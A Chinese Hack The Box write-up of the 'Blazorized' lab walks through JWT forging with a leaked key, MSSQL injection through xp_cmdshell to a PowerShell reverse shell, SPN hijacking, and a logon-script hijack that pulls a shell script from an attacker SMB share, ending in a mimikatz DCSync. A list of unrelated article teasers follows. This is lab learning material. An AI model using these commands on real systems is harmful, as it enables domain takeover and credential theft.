Hack The Box-Blazorized

总体思路

Blazor JWT->SPN劫持->登录脚本劫持->DCSync

信息收集&端口利用

nmap -sSVC blazorized.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-01 02:37 EDT
Nmap scan report for blazorized.htb (10.10.11.22)
Host is up (0.30s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mozhar's Digital Garden
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-01 06:38:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1115.00; RC0+
|_ssl-date: 2024-07-01T06:39:13+00:00; 0s from scanner time.
| ms-sql-info: 
|   10.129.81.176\BLAZORIZED: 
|     Instance name: BLAZORIZED
|     Version: 
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|     TCP port: 1433
|_    Clustered: false
| ms-sql-ntlm-info: 
|   10.129.81.176\BLAZORIZED: 
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-01T00:37:32
|_Not valid after:  2054-07-01T00:37:32
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-07-01T06:39:03
|_  start_date: N/AService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.33 seconds

看到445端口开放,先看是否存在匿名访问

在这里插入图片描述

不存在匿名访问,那么查看主页信息

在这里插入图片描述

发现该网站是以blazor框架为基础搭建的

点击check for updates模块,有一个按钮,但是点击后提示运行失败

在这里插入图片描述

继续尝试目录扫描和子域名收集

dirsearch -u http://blazorized.htb

在这里插入图片描述

ffuf -c -u 'http://blazorized.htb' -H 'host: FUZZ.blazorized.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302 -mc all

在这里插入图片描述

发现一个admin子域名,将其加入hosts文件后访问,还有一个api接口,稍微留意一下

进入后发现需要凭证才能够登录

在这里插入图片描述

Blazor JWT(暂时不清楚原理)

其他也没有什么可以利用的地方了,那么就来研究blazor框架,在github上查阅相关内容后,发现存在几个特定功能的端点

/_framework/blazor.webassembly.js
/_framework/wasm/

该_framework目录是Blazor应用程序用来存储Blazor WebAssembly运行时所需的框架文件的特殊目录,这里查看js源码

在这里插入图片描述

发现有一个_framework目录,正好对应上之前提到过的特殊目录,查看其代码

在这里插入图片描述

看上去已经被混淆了,对其进行反混淆

在这里插入图片描述

将代码提取出来,搜索_framework,能够发现一个隐藏的接口

在这里插入图片描述

访问blazorized.htb/_framework/blazor.boot.json后能看到更多的配置文件

在这里插入图片描述

除去默认的Microsoft dll文件外,还有新增的几个blazor dll文件

"Blazored.LocalStorage.dll": "sha256-5V8ovY1srbIIz7lzzMhLd3nNJ9LJ6bHoBOnLJahv8Go="
#允许我们在本地存储中存储和检索数据
"Blazorized.DigitalGarden.dll": "sha256-YH2BGBuuUllYRVTLRSM+TxZtmhmNitErmBqq1Xb1fdI="
#Blazor应用程序专用的自定义程序集。包含与“DigitalGarden”特性或功能相关的代码
"Blazorized.Shared.dll": "sha256-Bz\/iaIKjbUZ4pzYB1LxrExKonhSlVdPH63LsehtJDqY="
#包含Blazor应用程序不同部分使用的共享代码和资源。包括通用模型、服务或实用功能
"Blazorized.Helpers.dll": "sha256-ekLzpGbbVEn95uwSU2BGWpjosCK\/fqqQRjGFUW0jAQQ="
#包含整个Blazor应用程序使用的辅助函数或实用程序的自定义程序集

然后分析代码并生成一段安全密钥

private static readonly string jwtSymmetricSecurityKey = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a";  
private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";
private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
private static readonly string superAdminRoleClaimValue = "Super_Admin";
private static readonly string issuer = "http://api.blazorized.htb";
private static readonly string apiAudience = "http://api.blazorized.htb";
private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";

利用上边的信息,以超级管理员身份生成一个JWT

在这里插入图片描述

将这一段JWT的内容通过web console添加到本地存储以访问admin界面

let token = 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzIwMDAwMDAwfQ.J-Q8X2azv90n1dIxwupMj53IvCGxbcBcVk8Lzl5EqPD-JKjXtyHOJHCZujLOGrHQtI6NJyoaWAogwXDkmWuMuQ';
localStorage.setItem('jwt', token);

在这里插入图片描述

再次刷新界面即可

在这里插入图片描述

在搜索框界面发现了一些有趣的事情

当正常输入时,会有显示报错信息,而加了某些特殊符号时候,则没有了输出,可能存在某些SQL注入

在这里插入图片描述

在这里插入图片描述

由于之前就扫描出数据库类型为MSSQL,这里直接尝试使用xp_cmdshell执行反弹shell命令

'; EXEC master.dbo.xp_cmdshell 'powershell -e PowerShell#3(Base64)' --+#

在这里插入图片描述

成功拿到nu_1055用户,为了更方便进行后续操作,先上传一个payload,转为msf shell

在这里插入图片描述

经过信息收集无果后,上传一个sharphound查看域内信息

在这里插入图片描述

SPN劫持

在拓扑图中,能看到RSA_4810用户对NU_1055用户具有WriteSPN权限,可以利用Ghost SPN劫持对其进行攻击

上传PowerView.ps1

接着运行以下代码

Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='b3rry/ghost'}
Get-DomainSPNTicket -SPN b3rry/ghost

它以不存在的SPN作为虚拟名称请求服务票证b3rry/ghost

在这里插入图片描述

将这一段密文放进hashcat进行解密

在这里插入图片描述

获取到解密之后的字符串:(Ni7856Do985*************

经过尝试,可以使用 RSA_4810/(Ni7856Do985************ 登录到主机

在这里插入图片描述

继续分析刚才的文件

在这里插入图片描述

可以看到RSA_4810用户属于REMOTE MANAGEMENT USERS和REMOTE_SUPPORT_ADMINISTRATORS组

这里使用powerview获取更多信息

Get-NetUser

运行了上述命令后,发现一个可疑账户SSA_6010

登录脚本劫持

在这里插入图片描述

登录次数达到了4684次,并且我们能够获取到该用户正在运行的登录脚本路径为:\dc1\NETLOGON\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030

此路径表示域控制器 (dc1) 上的NETLOGON 共享中存储了登录脚本,它通常用于存储用户登录域内计算机时需要执行的登录脚本和其他策略

查看当前用户是否具有对上述结果中提到的文件具有某些特定权限

Get-Acl "C:\windows\sysvol\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030.bat" | Format-List -Property *

在这里插入图片描述

很好,RSA_4810用户具有对该脚本的读取、写入和运行权限

在这里插入图片描述

并且该脚本也提示了需要我们对SSA_6010的登录脚本进行重新编写

将脚本路径更改为A32FF3AEAA23\revshell.bat

Set-ADUser -Identity SSA_6010 -ScriptPath "A32FF3AEAA23\revshell.bat"

由于此处是多域环境,因此必须使用相对路径保证所有域控服务器都能够寻找到该脚本,意味着只能指定从NETLOGON共享路径后开始的路径作为相对路径

此处设置该文件夹的原因是只有该文件夹RSA_4810具有写入读取修改权限

在这里插入图片描述

做好上述准备后,建立一个revshell.ps1用于存放反弹shell的代码

#revshell.ps1
powershell -e PowerShell#3(Base64)

通过PowerShell创建批处理文件时,默认编码与登录过程中脚本的执行方式不兼容,需要将编码指定为ASCII可确保正确解释批处理文件,这里再编写一段脚本

#getshell.ps1
$batContent = Get-Content -Path "\\10.10.14.9\share\revshell.ps1"
$batFilePath = "C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\revshell.bat"
$batContent | Out-File -FilePath $batFilePath -Encoding ASCII

这一段代码主要将本地的ps1文件通过指定编码后,导入到revshell.bat中

本地开启smb和nc监听,上传后等待脚本运行

在这里插入图片描述

在这里插入图片描述

拿到SSA_6010用户后,使用msf shell再进行一次sharphound扫描

DCSync

在这里插入图片描述

打开分析后的文件,发现SSA_6010用户属于SUPER_SUPPORT_ADMINISTRATORS组

在这里插入图片描述

发现SUPER_SUPPORT_ADMINISTRATORS组对机器具有DCSync权限

在这里插入图片描述

直接使用mimikatz中的模块获取所有信息

lsadump::dcsync /domain:blazorized.htb /user:Administrator

在这里插入图片描述

使用administrator的ntlm hash登录

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/39255.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

编译调试swift5.7源码

环境: 电脑:apple m1 pro系统:macOS13Xcode: 14.2Cmake: 3.25.1Ninja: 1.11.1sccache: 0.3.3python: 3.10 (如果你的mac不是这个版本,可以通过 brew install python3.10下载,然后看这篇文章切换到该python版本)swift代…

RK3568驱动指南|第十五篇 I2C-第176章 通过逻辑分析仪认识I2C波形

瑞芯微RK3568芯片是一款定位中高端的通用型SOC,采用22nm制程工艺,搭载一颗四核Cortex-A55处理器和Mali G52 2EE 图形处理器。RK3568 支持4K 解码和 1080P 编码,支持SATA/PCIE/USB3.0 外围接口。RK3568内置独立NPU,可用于轻量级人工…

甄选版“论软件系统架构评估”,软考高级论文,系统架构设计师论文

论文真题 对于软件系统,尤其是大规模的复杂软件系统来说,软件的系统架构对于确保最终系统的质量具有十分重要的意义,不恰当的系统架构将给项目开发带来高昂的代价和难以避免的灾难。对一个系统架构进行评估,是为了:分析现有架构存在的潜在风险,检验设计中提出的质量需求,…

mac软件卸载后的残留文件删除 mac如何卸载应用程序

很多人都不知道,mac使用系统方式卸载后会有残留文件未被删除,久而久之就会占用大量的磁盘空间。今天小编就来教大家如何删除mac软件卸载后的残留文件,如果你想不留痕迹的删除,mac又该如何正确卸载应用程序,本文将一一为…

Python 获取字典中的值(八种方法)

Python 字典(dictionary)是一种可变容器模型,可以存储任意数量的任意类型的数据。字典通常用于存储键值对,每个元素由一个键(key)和一个值(value)组成,键和值之间用冒号分隔。 以下是 Python 字典取值的几…

嵌入式软件工程应该学些什么?

在开始前刚好我有一些资料,是我根据网友给的问题精心整理了一份「嵌入式的资料从专业入门到高级教程」, 点个关注在评论区回复“666”之后私信回复“666”,全部无偿共享给大家!!!毕业后相当嵌入式软件工程…

从理论到实践的指南:企业如何建立有效的EHS管理体系?

企业如何建立有效的EHS管理体系?对于任何企业,没有安全就谈不上稳定生产和经济效益,因此建立EHS管理体系是解决企业长期追求的建立安全管理长效机制的最有效手段。良好的体系运转,可以最大限度地减少事故发生。 这篇借着开头这个…

C++ (第二天下午---面向对象之类与对象)

一、面向过程与面向对象 1、面向过程 面向过程是一种以事件为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数。 举个例子,下五子棋,面向过程…

LLM大模型工程师面试经验宝典--进阶版2(2024.7月最新)

目录 1 大模型怎么评测? 2 大模型的honest原则是如何实现的?模型如何判断回答 的知识是训练过的已知的知识,怎么训练这种能力? 3 如何衡量大模型水平? 4 大模型评估方法 有哪些? 5 大模型评估工具 有哪…

解锁数据资产的无限潜能:深入探索创新的数据分析技术,挖掘其在实际应用场景中的广阔价值,助力企业发掘数据背后的深层信息,实现业务的持续增长与创新

目录 一、引言 二、创新数据分析技术的发展 1、大数据分析技术 2、人工智能与机器学习 3、可视化分析技术 三、创新数据分析技术在实际应用场景中的价值 1、市场洞察与竞争分析 2、客户细分与个性化营销 3、业务流程优化与风险管理 4、产品创新与研发 四、案例分析 …

Python处理Excel文件的实用技巧使用详解

概要 在数据分析和处理的过程中,Excel 是一种广泛使用的数据存储和交换格式。Python 提供了多个强大的库来处理 Excel 文件,如 pandas、openpyxl 和 xlrd 等。本文将详细介绍如何使用这些库进行 Excel 文件的常用操作,包括读取、写入、修改和格式化等。 使用 pandas 处理 E…

仪器校准的概念与定义,计量校准是什么?

仪器校准的定义,在之前所颁布的《国际计量学词汇 基础和通用概念及相关术语》文件中,已经有了明确说明,而该文件做了修改以后,在后续新的定义中,仪器校准具体被分为两部分,第一步是将被计量仪器和计量校准的…

数据库测试数据准备厂商 Snaplet 宣布停止运营

上周刚获知「数据库调优厂商 OtterTune 宣布停止运营」。而今天下班前,同事又突然刷到另一家海外数据库工具商 Snaplet 也停止运营了。Snaplet 主要帮助开发团队在数据库中生成仿真度高且合规的测试数据。我们在年初还撰文介绍过它「告别手搓!Postgres 一…

vue3中若v-model绑定的响应字段出现三级,该如何实现rules验证规则

比如以下内容: 配置的rules内容 const rulesref({title:[{required:true,message:"请输入标题",trigger:"blur"},{max:50,message:"最大不能超过256个字",trigger:"blur"}],Category:[{required:true,message:"请选择…

竹云位居首位 |沙利文《2024年全球及中国IAM中间件市场报告》正式发布

7月2日,弗若斯特沙利文(Frost & Sullivan,以下简称“沙利文”)正式发布《2024年全球及中国IAM中间件市场报告》(以下简称“报告”),从行业背景、市场规模、驱动因素、发展趋势等维度阐述当前…

让采购和工程师们既爱又恨的任务——BOM

在项目研发与生产过程中,有一个常常让采购经理和工程师们既爱又恨的任务,那就是整理BBOMB。BOM作为连接设计与制造的桥梁,其重要性不言而喻,它详细列出了产品构成所需的所有零部件、材料及其规格、数量,是成本估算、采…

自然语言处理:第四十一章 解读大模型的参数

文章链接:7B?13B?175B?解读大模型的参数 (qq.com) 写在前面: 笔者更新不易,希望走过路过点个关注和赞,笔芯!!! 写在前面: 笔者更新不易,希望走过路过点个关注和赞,笔芯!!! 写在前面: 笔者更新…

C++ | Leetcode C++题解之第191题位1的个数

题目: 题解: class Solution { public:int hammingWeight(uint32_t n) {int ret 0;while (n) {n & n - 1;ret;}return ret;} };

清新简约卡片风格蓝紫渐变色短视频苹果CMS模板

首途第三十三套清新简约卡片风格蓝紫渐变色短视频模板,一套苹果CMSV10主题。 这套主题是简约风格,以纯洁的白色和深邃的紫色为主色调,为您提供了一种清新、时尚的浏览体验。 在这个简洁而美丽的界面中,您可以轻松畅享各种精彩短…

KUKA机器人不同运行方式

KUKA机器人有以下四种运行方式: 1、手动慢速运行(T1) 2、手动快速运行(T2) 3、自动运行(AUT) 4、外部自动运行(AUT EXT) 将示教器上的钥匙向右旋转,就会…